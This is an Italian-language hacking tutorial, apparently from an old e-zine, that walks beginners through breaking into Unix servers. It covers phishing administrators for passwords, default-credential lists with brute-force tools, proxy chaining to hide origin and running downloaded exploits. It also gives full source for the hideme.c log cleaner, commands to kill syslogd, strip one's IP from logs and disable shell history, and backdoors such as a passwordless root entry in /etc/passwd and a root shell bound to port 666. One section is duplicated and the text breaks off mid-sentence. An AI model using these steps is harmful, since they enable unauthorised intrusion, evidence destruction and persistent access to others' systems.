| Spesso sui                                                                    |\
|  manuali di hacking si consiglia di barattare le shell in chat (irc in        |\
| particolare) sui                                                              |\
|  canali di hacking.                                                           |\
|  Personalmente ritengo che una persona alle prime armi non abbia da           |\
| barattare NESSUNA                                                             |\
|  shell (anzi la sta cercando !!!) quindi possiamo ricorrere a trucchetti      |\
| semplici                                                                      |\
|  semplici per recuperarne una :                                               |\
|                                                                               |\
|  1) Social Enginering : inviando una mail falsa (attenzione anche qui usate   |\
| WinGates                                                                      |\
|                         e/o free-shell prima di connettervi al server SMTP!)  |\
| al possessore                                                                 |\
|                         di un shell, possiamo fingerci l'amministratore del   |\
| server                                                                        |\
|                         e farci inviare la password del suo account per       |\
| neccessit\'e0 di                                                                 |\
|                         backup (vi rimando all'articolo di LordShinva sul     |\
| Social Enginering).                                                           |\
|                                                                               |\
|  2) Default Accounts  : Bisogna saper che per i sistemi come linux esistono   |\
| degli                                                                         |\
|                         account di "defalt" che l'attacker pu\'f2 usare per      |\
| accedere al                                                                   |\
|                         sistema ed avere una shell (si puo anche utilizzare   |\
| un exploit                                                                    |\
|                         per scalare i privilegi sfruttando le vulnerabilit\'e0   |\
| dei demoni                                                                    |\
|                         che girano sul server)                                |\
|                         Ecco di seguito un elenco degli account di default :  |\
|                         user      passwd                                      |\
|                         sys       sys, system, manager, nomedelsistema, vedi  |\
| root                                                                          |\
|                         daemon    daemon, background, none                    |\
|                         uucp      uucp, vedi guest                            |\
|                         tty       tty                                         |\
|                         test      test                                        |\
|                         unix      unix, test                                  |\
|                         bin       bin, system, vedi root                      |\
|                         adm       adm, admin, sys, vedi root                  |\
|                         admin     adm, admin                                  |\
|                         sysman    sysman, sys, system                         |\
|                         sysadmin  sysadmin, sys, system, admin, adm           |\
|                         who       who, none                                   |\
|                         learn     learn                                       |\
|                         uuhost    uuhost                                      |\
|                         guest     guest, user, anonymous, visitor, bbs,(nome  |\
| del                                                                           |\
|                                   sistema o dell'organizzazione)              |\
|                         host      host                                        |\
|                         nuucp     nuucp, vedi uucp                            |\
|                         rje       rje, none, vedi root                        |\
|                         games     games, player                               |\
|                         sysop     sysop                                       |\
|                         demo      demo, nomedelsistema, none                  |\
|                         visitor   vedi guest                                  |\
|                         anonymous vedi guest                                  |\
|                         anon      vedi guest                                  |\
|                         user      vedi guest                                  |\
|                         nomedelsistema vedi guest                             |\
|                         student   student, vedi guest                         |\
|                         ftp       ftp, ftpuser, vedi guest                    |\
|                         ftpuser   vedi ftp                                    |\
|                         xxcp      xenix                                       |\
|                         system    manager                                     |\
|                         nobody    nobody, none                                |\
|                         field     service                                     |\
|                         archie    archie, none                                |\
|                         qarchie   qarchie, none                               |\
|                         whois     whois, none                                 |\
|                         bbs       nomedelsistema, bbs, waffle, none           |\
|                         services  nomedelsistema, services, none              |\
|                         info      nomedelsistema, info, none                  |\
|                         new       nomedelsistema, new, none                   |\
|                         newuser   nomedelsistema, newuser, none               |\
|                         ingres    none, ingres, nomedelsistema                |\
|                         date      date, none                                  |\
|                         lpq       lpq, none                                   |\
|                         time      time, none                                  |\
|                         weather   weather, forecast, none                     |\
|                         forcast   vedi weather                                |\
|                         help      help, none                                  |\
|                         test      nomedelsistema, test, none                  |\
|                         waffle    vedi bbs                                    |\
|                         trouble   trouble, vedi root                          |\
|                         lp        lp, printer, print, vedi root               |\
|                         unmountsys unmountsys, unmount, vedi root             |\
|                         setup     setup, vedi root                            |\
|                         makefsys  makefsys, vedi root                         |\
|                                                                               |\
|                         Provare manualmente tutte queste passwd \'e8 una         |\
| rottura ... automatizziamo                                                    |\
|                         il tutto con qualche bel programmino :                |\
|                         - Brutus (http://www.hobbie.net/brutus)               |\
|                         - TeeNet (http://phenoelit.de/tn)                     |\
|                         - cerca su packetstorm "pop.c" e "brutus_web.c"       |\
|                                                                               |\
|  3) /etc/passwd       : Con un p\'f2 di fortuna (be MOOLTA fortuna) \'e8 possibile  |\
| accedere                                                                      |\
|                         al file delle password via web, e se non \'e8 shadowato  |\
| ... be scaldate                                                               |\
|                         il vostro John The Ripper !!! ;-) [in ogni caso       |\
| avresti un elenco                                                             |\
|                         completo degli utenti di quel server, vedi anche      |\
| sotto...]                                                                     |\
|                                                                               |\
|  4) "Joe Account"     : Sempre per quanto riguarda le password facendo un     |\
| bel fingering                                                                 |\
|                         di una macchina in un orario in cui \'e8 connessa molta  |\
| gente, possiamo                                                               |\
|                         recuperare un bel po' di username. Perch\'e8? perch\'e8     |\
| spesso gli utenti                                                             |\
|                         sono cos\'ec idioti da utilizzare il loro username       |\
| anche come password                                                           |\
|                         (detto anche "Joe Account") quindi ... ah dimeticavo  |\
| ... spesso                                                                    |\
|                         questi "esperti" utenti :-) hanno un account del      |\
| tipo :                                                                        |\
|                         user : pippo                                          |\
|                         pass : pippo1                                         |\
|                         [NOTA per il fingering : ricorda di far rimbalzare    |\
| il finger da un                                                               |\
|                         altra macchina. Come? finger @sito.com@target.com     |\
| ... ]                                                                         |\
|                                                                               |\
|                                                                               |\
|  Una volta trovati WinGates e shell, li concateneremo nel seguente modo       |\
|                                                                               |\
|          WinGate_1 --> WinGate_2 --> WinGate_xx ... -> shell(s)               |\
|                                                                               |\
|  A questo punto il tuo ip ( quello che dovrai cancellare dai files log una    |\
| volta ottenuto                                                                |\
|  accesso root) \'e8 quello dell'ultima shell (o wingate) che hai concatenato     |\
| (ovvio :-P).                                                                  |\
|                                                                               |\
|                                                                               |\
|  ::th3 t4rg3t::                                                               |\
|                                                                               |\
|  Per la ricerca del nostro target (il server che vogliamo bucare) abbiamo a   |\
| nostra                                                                        |\
|  disposizione due magnifici siti :                                            |\
|  1) www.ipindex.net  : una raccolta di tutti gli ip address del mondo divisi  |\
| per                                                                           |\
|                        continente e ente/societ\'e0 a cui appartengono.          |\
|  2) www.netcraft.net : un motore di ricerca molto utile che ci permette non   |\
| solo                                                                          |\
|                        di ricercare un infinit\'e0 di siti, ma anche di trovare  |\
| info                                                                          |\
|                        riguardo al sito che vogliamo bucare (es. OS , ecc..)  |\
|                                                                               |\
|  Naturalmente se avete in testa un sito che vi \'e8 particolarmente              |\
| "antipatico" e/o                                                              |\
|  particolarmente "sfigato" be' ... il tutto sar\'e0 ancora pi\'f9 divertente !!!    |\
|                                                                               |\
|                                                                               |\
|                                                                               |\
|  ::iNF0 & 3xpl0it::                                                           |\
|                                                                               |\
|  Un passo fondamentale per la buona riuscita del nostro attacco \'e8 lo studio   |\
| del target.                                                                   |\
|  Per prima cosa sarebbe bene fare uno scanning delle porte del server         |\
| (probabilmente il                                                             |\
|  miglior port scanner in circolazione per linux \'e8 NMAP, lo trovi su           |\
| http://www.insecure.org)                                                      |\
|  e usare alcuni interessanti tool a nostra disposizione, quali finger,        |\
| nslookup, tracerouter,                                                        |\
|  whois , ecc.. per renderci conto di CHI vogliamo attaccare.                  |\
|  Di grande utilit\'e0 \'e8 anche l'utilizzo dell'utility "ping sweep" (la trovate   |\
| al seguente                                                                   |\
|  indirizzo : ftp.tamu.edu/pub/unix/src/ ) che permette di poter studiare la   |\
| configurazione                                                                |\
|  della rete che andremo ad attakkare.                                         |\
|  In particolare lo scannning delle porte del server ci aiuter\'e0 a capire       |\
| quali demoni                                                                  |\
|  girano sul server . Sfrutteremo di conseguenza i "bug" di questi demoni      |\
| tramite un                                                                    |\
|  exploit per penetrare nel sistema.                                           |\
|                                                                               |\
|  Individuata il demone che volgiamo bucare ricerchiamo l'exploit in siti di   |\
| sicurezza                                                                     |\
|  come HACK.co.za (http://www.hack.co.za) oppure su PACKETSTORM                |\
| (http://packetstormsecurity.org).                                             |\
|  L'exploit va poi posizionato su una delle shell da cui facciamo rimbalzare   |\
| l'attacco                                                                     |\
|  e in fine compilato.                                                         |\
|  Per compilare l'exploit bisogna seguire le info che trovate nel codice       |\
| sorgente                                                                      |\
|  dell'exploit stesso (qui trovate anche info sul suo utilizzo e/o tipo di     |\
| vulnerabit\'e0                                                                   |\
|  sfruttata). Vi consiglio di studiare l'exploit che vi accingete ad           |\
| utilizzare in modo da                                                         |\
|  CAPIRE cosa stiamo effettivamente facendo.                                   |\
|  Naturalmente prima di bucare il server \'e8 bene (se possibile) fare un bel     |\
| fingering                                                                     |\
|  del server vittima per essere sicuri che non vi sia nessun utente connesso   |\
| alla macchina,                                                                |\
|  in caso contrario \'e8 meglio lasciare perdere e tentare in un altro momento.   |\
|                                                                               |\
|  CONSIGLIO : Quando studiate il target connettersi alla porta 37 (time) del   |\
| server vi mostrer\'e0                                                            |\
|  l'ora del luogo in cui \'e8 situato il server, cos\'ec da collegarsi quando \'e8      |\
| notte (o mattina presto)                                                      |\
|  in modo che nessun utente (tantomeno il SyS :-) sia connesso alla machiana.  |\
|                                                                               |\
|                                                                               |\
|  ::1Ns1d3 th3 s3rv3r::                                                        |\
|                                                                               |\
|  Compilato l'exploit, lo eseguiamo, e se tutto va bene otterremo l'accesso    |\
| root sulla macchina.                                                          |\
|  Appena ci compare il magnifico "#" verifichiamo per prima cosa di essere     |\
| realmente root nella                                                          |\
|  nostra nuova macchina :-D con il comando "id" (oppure con il comando         |\
| "whoami").                                                                    |\
|  Se otteniamo una risposta del tipo "uid=0(root)" stiamo rootando su quella   |\
| macchina ! [complimenti!]                                                     |\
|  Ora dobbiamo essere sicuri di essere soli nella macchiana quindi             |\
| utilizziamo il comando                                                        |\
|  "w" oppure "who" (soprattutto se non ci \'e8 stato possibile fare un fingering  |\
| alla macchiana                                                                |\
|  in precedenza).                                                              |\
|  Ora dobbiamo cancellare il nostro ip dai file log quindi dobbiamo uplodare   |\
| un bel cleaner ed                                                             |\
|  eventualmente un bel rootkit per modificare /bin e /sbin ed inserire         |\
| backdoor.                                                                     |\
|  Uplodando i file nel sever tramite ftp, saremo loggati dal un bel figlio di  |\
| puttana chiamato "Xferlog",                                                   |\
|  un file log che registra ogni trasferimento di files in/out tramite ftp,     |\
| quindi dobbiamo uplodare                                                      |\
|  i nostri bei files con dei trucchetti che andremo ad illustrare :            |\
|  Il primo metodo consiste nel fare un bel copia/incolla del testo contenuto   |\
| nei file *.c                                                                  |\
|  che volgiamo uplodare, e di aprire da remoto sulla macchina bucata un text   |\
| editor (esempio                                                               |\
|  vi) e dopo di che, incollare il testo tramite la combinzione di tasti SHIFT  |\
| + INS                                                                         |\
|  (l'equivalente di incolla da shell, il copia e CTRL + INS ).                 |\
|  Il secondo metodo ci permette di copiare un file dal nostro computer dal     |\
| desktop con                                                                   |\
|  un semplice copy , e "di incollarlo" nel server remoto digitando da shell :  |\
|                                                                               |\
|  [copia il file con "copia"]                                                  |\
|  # cat << EOF > file.c                                                        |\
|                                                                               |\
|  digita EOF :                                                                 |\
|                                                                               |\
|  > EOF                                                                        |\
|                                                                               |\
|  Il file \'e8 copiato sul computer remoto !                                      |\
|  In questo modo possiamo compiare non solo file testo ma qualsiasi file che   |\
| ci possa                                                                      |\
|  essere utile sul server. (quindi rootkit, cleaner, index.html <- :-))) ecc   |\
| ...)                                                                          |\
|                                                                               |\
|  NOTA: nonstante tutto possiamo uplodare i nostri files sul server tramite    |\
| ftp, perch\'e8                                                                   |\
|  i metodi descritti risultano molto lunghi se si decide di installare         |\
| corposi rootkit                                                               |\
|  sulla macchina :-) . Per questo usiamo comunque ftp ma ricordiamoci di       |\
| greppare xferlog                                                              |\
|  alla ricerca del nostro hostname/ip, e inoltre di controllare il log         |\
| "secure" in /etc/log                                                          |\
|  inquanto per default riporta le stesse identificazioni relative ai           |\
| trasferimenti che                                                             |\
|  compaiono anche su xferlog (controlla anche la directory /etc/ftp* per       |\
| trovare che tipo                                                              |\
|  di setup c'\'e8 nella box hackerata).                                           |\
|                                                                               |\
|                                                                               |\
|  ::th3 L0gs f1L3::                                                            |\
|                                                                               |\
|  Ora viene il bello dell'impresa. Da questo momento sar\'e0 solo la nostra       |\
| abilit\'e0 che ci                                                                |\
|  permetter\'e0 di non farci beccare dal Sys e di mantenere l'accesso alla        |\
| macchina il pi\'f9 a                                                             |\
|  lungo possibile ... facciamo un p\'f2 di pulizia :-D ...                        |\
|  I log piu bastardi di un sistema unix/unix-like sono situati nelle seguenti  |\
| directory :                                                                   |\
|                                                                               |\
|  /etc/log (default)                                                           |\
|  /tmp/log - /temp/var/log                                                     |\
|  /var/run (qui trovate anche i *.pid dei demoni che girano sulla macchina)    |\
|  /var/log - /var/adm                                                          |\
|  /usr/log - /usr/adm/log                                                      |\
|                                                                               |\
|  I log piu comuni possono essere cancellati tramite cleaner quali zap o       |\
| hideme.                                                                       |\
|  Qui sotto riporto il programma hideme.c scritto da FuSys di BFI.             |\
|  (vi rimando al suo articolo su BFI per maggiori info sui log di unix)        |\
|                                                                               |\
| ----------------------8< taglia qui-----------------------------------------  |\
|                                                                               |\
|                                                                               |\
|  /*                                                                           |\
| HideMe.c        Cleans Utmp, Wtmp, LastLog, Messages, XferLog, Secure,        |\
|                 MailLog. Please check your brain connection before using      |\
|                 since it does NO timestamp or CRC checking. Yet. ;)           |\
|                 Usage: hideme <user> <host> <IP>                              |\
| P.S.            check all logs dirs and edit this source accordingly.         |\
| */                                                                            |\
|                                                                               |\
| /************************************************************************     |\
| *                       Written by fusys no (C)1998                     *     |\
| *       Yes. I coded this. No. I didn't leave this in your system.      *     |\
| *               Go check your local nasty user or cracker.              *     |\
| *               For Informative and Non-Profit Fun only.                *     |\
| *       I was not the first. I won't be the last. AMEN to that.         *     |\
| * YES. It seems today I don't have anything better to do. Go figure. ;) *     |\
| ************************************************************************/     |\
|                                                                               |\
| #include <fcntl.h>              /* as coder@reptile said:       */            |\
| #include <utmp.h>               /* includes, what would we do   */            |\
| #include <sys/types.h>          /*      without them ?!         */            |\
| #include <unistd.h>                                                           |\
| #include <lastlog.h>                                                          |\
| #include <stdio.h>                                                            |\
| #include <pwd.h>                                                              |\
|                                                                               |\
| #define UTMP            "/var/run/utmp"         /* Understand ?!        */    |\
| #define WTMP            "/var/log/wtmp"         /* If not, RTFM ...     */    |\
| #define LASTLOG         "/var/log/lastlog"      /* Still in the myst ?  */    |\
| #define MESSAGES        "/var/log/messages"     /* Please RTFMA ...     */    |\
| #define SECURE          "/var/log/secure"       /* What now ?!!?        */    |\
| #define XFERLOG         "/var/log/xferlog"      /* Ok I got it for ya:  */    |\
| #define MAILLOG         "/var/log/maillog"      /* Consider using W95 ! */    |\
| #define MAXBUFF         8*1024                                                |\
|                                                                               |\
| int main (int argc, char *argv[])                                             |\
| \{                                                                             |\
|         struct utmp ut ;                /*   (C)1998 PNN        */            |\
|         struct lastlog ll ;             /*  Pretty New Names    */            |\
|         struct passwd *pass ;                                                 |\
|         int i, size, fin, fout ;                                              |\
|         FILE *lin ;                                                           |\
|         FILE *lout ;                                                          |\
|         char *varlogs[] = \{MESSAGES, SECURE, XFERLOG, MAILLOG\} ;              |\
|         char *newlogs[] = \{"messages.hm", "secure.hm", "xferlog.hm",          |\
| "maillog.hm"\} ;                                                               |\
|         char buffer[MAXBUFF] ;                                                |\
|                                                                               |\
|         char ninja[10] ;                /* better isn't it ?!   */            |\
|         char zaibatsu[100] ;            /* oh ... shut up ! :)  */            |\
|         char zaibatsu_ip[17] ;                                                |\
|                                                                               |\
|         if (argc!=4) \{                                                        |\
|                 fprintf(stderr, "\\nHideMe\\n") ;                               |\
|                 fprintf(stderr, "Usage: %s <user> <host> <IP>\\n\\n", argv[0])  |\
| ;                                                                             |\
|                 exit () ;                                                     |\
|         \}                                                                     |\
|                                                                               |\
|         /***************************                                          |\
|         * OK Let's start with UTMP *                                          |\
|         ***************************/                                          |\
|         size = sizeof(ut) ;                                                   |\
|         strcpy (ninja, argv[1]) ;                                             |\
|         fin = open (UTMP, O_RDWR) ;                                           |\
|         if (fin < 0) \{                                                        |\
|                 fprintf(stderr, "\\nUh ? utmp target not locked. Getting       |\
| outta here.\\n") ;                                                             |\
|                 close (fin) ;                                                 |\
|                 exit () ;                                                     |\
|         \}                                                                     |\
|         else \{                                                                |\
|                 while (read (fin, &ut, size) == size) \{                       |\
|                         if (!strncmp(ut.ut_user, ninja, strlen(ninja))) \{     |\
|                                 memset(&ut, 0, size) ;                        |\
|                                 lseek(fin, -1*size, SEEK_CUR) ;               |\
|                                 write (fin, &ut, size) ;                      |\
|                         \}                                                     |\
|                 \}                                                             |\
|                 close (fin) ;                                                 |\
|                 printf("\\nutmp target processed.") ;                          |\
|         \}                                                                     |\
|                                                                               |\
|         /***************************                                          |\
|         * OK Let's go on with WTMP *                                          |\
|         ***************************/                                          |\
|         strcpy (zaibatsu, argv[2]) ;                                          |\
|         strcpy(zaibatsu_ip, argv[3]) ;                                        |\
|                                                                               |\
|         fin = open(WTMP, O_RDONLY) ;                                          |\
|         if (fin < 0) \{                                                        |\
|                 fprintf(stderr, "\\nUh? wtmp target not locked. Getting outta  |\
| here.\\n") ;                                                                   |\
|                 close (fin) ;                                                 |\
|                 exit () ;                                                     |\
|         \}                                                                     |\
|         fout = open("wtmp.hm", O_WRONLY|O_CREAT) ;                            |\
|         if (fout < 0) \{                                                       |\
|                 fprintf(stderr, "\\nDamn! Problems targeting wtmp. Getting     |\
| outta here.\\n") ;                                                             |\
|                 close (fout) ;                                                |\
|                 exit () ;                                                     |\
|         \}                                                                     |\
|         else \{                                                                |\
|                 while (read (fin, &ut, size) == size) \{                       |\
|                         if ( (!strcmp(ut.ut_user, ninja)) ||                  |\
| (!strncmp(ut.ut_host, zaibatsu, strlen(zaibatsu))) ) \{                        |\
|                                 /* let it go into oblivion */  ;              |\
|                         \}                                                     |\
|                         else write (fout, &ut, size) ;                        |\
|                 \}                                                             |\
|                 close (fin) ;                                                 |\
|                 close (fout) ;                                                |\
|                 if ((system("/bin/mv wtmp.hm /var/log/wtmp") < 0) &&          |\
|                     (system("/bin/mv wtmp.hm /var/log/wtmp") == 127)) \{       |\
|                         fprintf(stderr, "\\nAch. Couldn't replace %s .",       |\
| WTMP) ;                                                                       |\
|                 \}                                                             |\
|                 system("/bin/chmod 644 /var/log/wtmp") ;                      |\
|                 printf("\\nwtmp target processed.") ;                          |\
|         \}                                                                     |\
|                                                                               |\
|         /***************************                                          |\
|         * OK Let's look at LASTLOG *                                          |\
|         ***************************/                                          |\
|         size = sizeof(ll) ;                                                   |\
|         fin = open(LASTLOG, O_RDWR) ;                                         |\
|         if (fin < 0) \{                                                        |\
|                 fprintf(stderr, "\\nUh? lastlog target not locked. Getting     |\
| outta here.\\n") ;                                                             |\
|                 close (fin) ;                                                 |\
|                 exit () ;                                                     |\
|         \}                                                                     |\
|         else \{                                                                |\
|                 pass = getpwnam(ninja) ;                                      |\
|                 lseek(fin, size*pass->pw_uid, SEEK_SET) ;                     |\
|                 read(fin, &ll, size) ;                                        |\
|                 ll.ll_time = 0 ;                                              |\
|                 strncpy (ll.ll_line, "      ", 5) ;                           |\
|                 strcpy (ll.ll_host, " ") ;                                    |\
|                 lseek(fin, size*pass->pw_uid, SEEK_SET) ;                     |\
|                 write(fin, &ll, size) ;                                       |\
|                 close (fin) ;                                                 |\
|                 printf("\\nlastlog target processed.\\n") ;                     |\
|         \}                                                                     |\
|                                                                               |\
|         /***************************                                          |\
|         * OK moving to /var ....   *                                          |\
|         ***************************/                                          |\
|         for (i=0;i<4;i++) \{                                                   |\
|                 printf("Processing %s\\t", varlogs[i]) ;                       |\
|                 lin = fopen (varlogs[i], "r") ;                               |\
|                 if (lin == 0) \{                                               |\
|                         fprintf(stderr, "\\nHmmm. Couldn't reach var ...\\n")   |\
| ;                                                                             |\
|                         fclose (lin) ;                                        |\
|                         break ;                                               |\
|                 \}                                                             |\
|                 lout = fopen (newlogs[i], "w") ;                              |\
|                 if (lout == 0) \{                                              |\
|                         fprintf(stderr, "\\nHmmm. Couldn't reach var ...\\n")   |\
| ;                                                                             |\
|                         fclose (lout) ;                                       |\
|                         break ;                                               |\
|                 \}                                                             |\
|                 else \{                                                        |\
|                         while (fgets(buffer, MAXBUFF, lin) != NULL) \{         |\
|                                 if ((!strstr(buffer, ninja)) &&               |\
| (!strstr(buffer, zaibatsu)) && (!strstr(buffer, zaibatsu_ip))) \{              |\
|                                 fputs(buffer, lout) ;                         |\
|                                 \}                                             |\
|                         \}                                                     |\
|                 \}                                                             |\
|                 fclose (lin) ;                                                |\
|                 fclose (lout) ;                                               |\
|                 printf("                DONE.\\n") ;                           |\
|         \}                                                                     |\
|         system ("mv messages.hm /var/log/messages");                          |\
|         system ("mv secure.hm /var/log/secure");                              |\
|         system ("mv xferlog.hm /var/log/xferlog");                            |\
|         system ("mv maillog.hm /var/log/maillog");                            |\
|         exit () ;                                                             |\
| \}                                                                             |\
|                                                                               |\
|                                                                               |\
|  ::th3 L0gs f1L3::                                                            |\
|                                                                               |\
|  Ora viene il bello dell'impresa. Da questo momento sar\'e0 solo la nostra       |\
| abilit\'e0 che ci                                                                |\
|  permetter\'e0 di non farci beccare dal Sys e di mantenere l'accesso alla        |\
| macchina il pi\'f9 a                                                             |\
|  lungo possibile ... facciamo un p\'f2 di pulizia :-D ...                        |\
|  I log piu bastardi di un sistema unix/unix-like sono situati nelle seguenti  |\
| directory :                                                                   |\
|                                                                               |\
|  /etc/log (default)                                                           |\
|  /tmp/log - /temp/var/log                                                     |\
|  /var/run (qui trovate anche i *.pid dei demoni che girano sulla macchina)    |\
|  /var/log - /var/adm                                                          |\
|  /usr/log - /usr/adm/log                                                      |\
|                                                                               |\
|  I log piu comuni possono essere cancellati tramite cleaner quali zap o       |\
| hideme.                                                                       |\
|  Qui sotto riporto il programma hideme.c scritto da FuSys di BFI.             |\
|  (vi rimando al suo articolo su BFI per maggiori info sui log di unix)        |\
|                                                                               |\
| ----------------------8< taglia qui-------------------------------------      |\
|                                                                               |\
|                                                                               |\
|                                                                               |\
|  In ogni caso \'e8 bene non cancellare MAI i file log dal sistema ma cancellare  |\
|  solo il proprio ip address.                                                  |\
|                                                                               |\
|  *NOTA* : Hideme non pulisce per\'f2 tutte le nostre tracce le nostre ...        |\
| esistono                                                                      |\
|  altri log al di fuori di quelli "controllati" da hideme. Di seguito trovi    |\
| info su come                                                                  |\
|  risolvere buona parte dei problemi di logging.                               |\
|                                                                               |\
|  Prima ancora di avviare il nostro cleaner \'e8 bene killare il logger del       |\
| sistema                                                                       |\
|  (syslogd) nel seguente modo :                                                |\
|                                                                               |\
|  # ps -def | grep syslog (individuo il processo)                              |\
|                                                                               |\
|  # kill (pid) syslogd                                                         |\
|                                                                               |\
|  In questo modo da ora in poi ogni comando eseguito non verr\'e0 piu loggato.    |\
|  Per essere ancora piu sicuri e bene controllare il file /etc/messagges in    |\
| cui si possono                                                                |\
|  trovare un infinit\'e0 di info , oltre che al file /etc/syslog.conf per         |\
| scoprire altri files                                                          |\
|  log nel sistema che non abbiamo ancora cancellato.                           |\
|  Un altro file da controllare \'e8 il file /etc/login.defs.                      |\
|                                                                               |\
|  *NOTA*: quando killi il processo non verrai pi\'f9 loggato dai log files del    |\
| sistema (almeno                                                               |\
|  si spera! :-). Tuttavia il SyS potrebbe insospettirsi del fatto che il suo   |\
| syslogd \'e8 stato                                                               |\
|  killato, e quindi puo' pensare che qualcuno (noi ;-) abbia rootato sulla     |\
| sua macchina ...                                                              |\
|  quindi dopo aver svolto ogni operazione di "mimetizzazione" all'interno del  |\
| sistema riavviate                                                             |\
|  il demone syslogd ...                                                        |\
|                                                                               |\
|  Nel caso in cui il Sys abbia spostato i files sopra citati, \'e8 possibili      |\
| cercarli                                                                      |\
|  digitando da shell il seguente comando :                                     |\
|                                                                               |\
|    find / -name file ["file" \'e8 il nome del file]                              |\
|                                                                               |\
|  Per essere ancora + sicuri \'e8 doverose greppare /etc, /var e /sbin alla       |\
| ricerca di files che                                                          |\
|  possano contenere il nostro ip address e/o il nostro hostname quindi da      |\
| shell digitiamo :                                                             |\
|                                                                               |\
|  grep -r "hostname" /etc (l'opzione -r serve per greppare ogni files in ogni  |\
| directory                                                                     |\
|                           presente in /etc)                                   |\
|                                                                               |\
|  in un secondo momento grepperemo allo stesso modo cercando il nostro ip      |\
| address, e al termine                                                         |\
|  di ci\'f2 ripeteremo le operazioni in modo uguale per /var & /sbin )            |\
|  Nel caso in cui aveste trovato file(s) conteneti il vostro ip/hostname       |\
| trattate i files nel                                                          |\
|  seguente modo :                                                              |\
|  [nome file: file_bastard.log  mio ip: 123.123.123.123]                       |\
|                                                                               |\
|  # grep -v file_bastard.log "123.123.123.123" -V > temp                       |\
|  # del file_bastard.log                                                       |\
|  # mv temp file_bastard.log                                                   |\
|                                                                               |\
|  In questo modo abbiamo filtarto tutte le linee che non contengono il nostro  |\
| ip addres dal file .log                                                       |\
|  in questione e le abbiamo posizionato nel file "temp". In un secondo         |\
| momento abbiamo cancellato il                                                 |\
|  file log e abbiamo posizionato temp al posto del file log : di noi non c'\'e8   |\
| pi\'f9 traccia !                                                                 |\
|  [controla sempre le dimesioni dei files che tratti in questo modo per        |\
| evitare errori !]                                                             |\
|                                                                               |\
|  ::HIST0Ry__f1l3::                                                            |\
|                                                                               |\
|  Ora che abbiamo cancellato le nostre traccce (si spera ! :-) dobbiamo        |\
| cancellare il file                                                            |\
|  history, in cui vengono registrati tutti i comandi da noi digitati.          |\
|  Prima di tutto facciamo in modo che il file in questione venga cancellato    |\
| non appena                                                                    |\
|  lasceremo il sistema digitando :                                             |\
|                                                                               |\
|  # unset HISTFILE                                                             |\
|  e infine facciamo in modo che non venga piu scritto un nuovo file history    |\
| linkandolo a null :                                                           |\
|  # ln -s /dev/null .bash_history                                              |\
|                                                                               |\
|  Dopo di che cancelliamo il file .bash_history dal sistema per maggiore       |\
| sicurezza.                                                                    |\
|  Naturalmente il tutto vale se la shell da noi usata \'e8 la bash. Il file       |\
| history e situato                                                             |\
|  nella home dir dell'utente (controllate anche il file history di root in     |\
| /root per spiare                                                              |\
|  le operazioni dell'amministratore di sistema !!! ;-).In ogni caso se non lo  |\
| trovi usa il                                                                  |\
|  comando "find" sopra citato.                                                 |\
|                                                                               |\
|  ::and n0W ?!?::                                                              |\
|                                                                               |\
|  Ora ci resta che decidere cosa fare con il nostro nuovo sistema !            |\
|  Solitamente si puo' :                                                        |\
|                                                                               |\
|  1) Defacing : a mio parere operazione INUTILE soprattutto se si parla di     |\
| unix e/o unix-like,                                                           |\
|  inquanto le shell unix sono preziose e defacciando un sito non ci si rende   |\
| proprio invisibili                                                            |\
|  agli occhi del malcapitato Admin !                                           |\
|                                                                               |\
|  2) Sniffing : caricando un bello sniffer sulla nostra shell potremo          |\
| sniffare le password                                                          |\
|  di altri sistemi, ottenendo in questo modo un bel numero di nuovi account.   |\
|  Per quanto riguarda lo sniffing prima di caricare lo sniffer \'e8 bene          |\
| guardare cosa gira sulla                                                      |\
|  macchina per trovare un nome che sia similare a quelli dei processi in       |\
| esecuzione                                                                    |\
|  Per carica in "background" lo sniffer fai seguire il comando da un "&" :     |\
|  es. # sniffer -(parametri) &                                                 |\
|                                                                               |\
|  3) Us3 the shell : avendo a nostra disposizione una bella shell di root      |\
| possimao fare un sacco                                                        |\
|  di cose, caricare BOT, BNC, usare i datapipe ecc... ma sconsiglio di         |\
| utilizzare le shell in                                                        |\
|  questo modo, inquanto ben presto potreste perdere l'accesso al sistema !     |\
|  [x BNC : http://www.tuttoscript.net, X BOT "eggdrop" -> su :                 |\
| http://packetstormsecurity.org ]                                              |\
|  [su BFI trovi diverse info sui "datapipe" oltre che ad ottimo codice]        |\
|                                                                               |\
|  ::B4ck_d00rS::                                                               |\
|                                                                               |\
|  Ora \'e8 di nostro grande interesse creare delle backdoors per accedere in      |\
| futuro al sistema                                                             |\
|  bucato. Esistono moltissime backdors che possono essere utilizzate sotto un  |\
| sistema unix                                                                  |\
|  unix-like, quindi mi limiter\'f2 a descrivere le pi\'f9 semplici (ma purtroppo     |\
| anche quelle meno                                                             |\
|  occultate nel sistema!) :                                                    |\
|                                                                               |\
|  1) n3w 4ccount : bucato il sistema si potrebbe voler aggiungere un nuovo     |\
| account per futuri                                                            |\
|     accessi. Si pu\'f2 usare il comando adduser ma la via piu veloce \'e8 la        |\
| seguente :                                                                    |\
|                                                                               |\
|     echo "r00t::0:0:r00t:/:/bin/bash" >> /etc/passwd                          |\
|                                                                               |\
|     In questo modo telnettandoci al server vittima si potr\'e0 accedere al       |\
| sistema inserendo solo                                                        |\
|     il login (r00t). Nessuna password \'e8 richiesta in questo caso.             |\
|                                                                               |\
|  2) sh3LL : Un'altra interessante backdoor \'e8 di mettere in ascolto di una     |\
| porta da noi                                                                  |\
|     scelta una shell root, modificando in  modo adeguato il file              |\
| /etc/inetd.conf nel                                                           |\
|     seguente modo :                                                           |\
|                                                                               |\
|     echo "666 stream tcp nowait root /bin/bash bash -i" >> /etc/inetd.conf"   |\
|                                                                               |\
|     e poi riavviando il demone nel seguente modo :                            |\
|                                                                               |\
|     killall -HUP inetd                                                        |\
|                                                                               |\
|  3) m0dify /b1n : \'e8 possibile modificare inoltre il contenuto della           |\
| deirectory /bin per                                                           |\
|     inserire interessanti backdoors. Un esempio potrebbe essere sostituire    |\
| il "cal" con una                                                              |\
|     SUID shell. Eseguendo "cal" otterremo il MAGNIFICO "#" !                  |\
|                                                                               |\
|  Per quanto riguarda la trattazione delle backdoors vi consiglio vivamente    |\
| di leggere gli                                                                |\
|  articoli pubblicati su BFI, molto ben fatti e completi.                      |\
|                                                                               |\
|  ::TrcCh1 & s3gr3t1::                                                         |\
|                                                                               |\
|  A questo punto \'e8 bene ilusrare una serie di trucchetti utilissimi per        |\
| mantenere l'accesso                                                           |\
|  alla macchina il pi\'f9 possibile.                                              |\
|                                                                               |\
|  1) /etc/syslog.conf : questo file \'e8 stato accenato in precedenza. Esso       |\
| specifica al demone                                                           |\
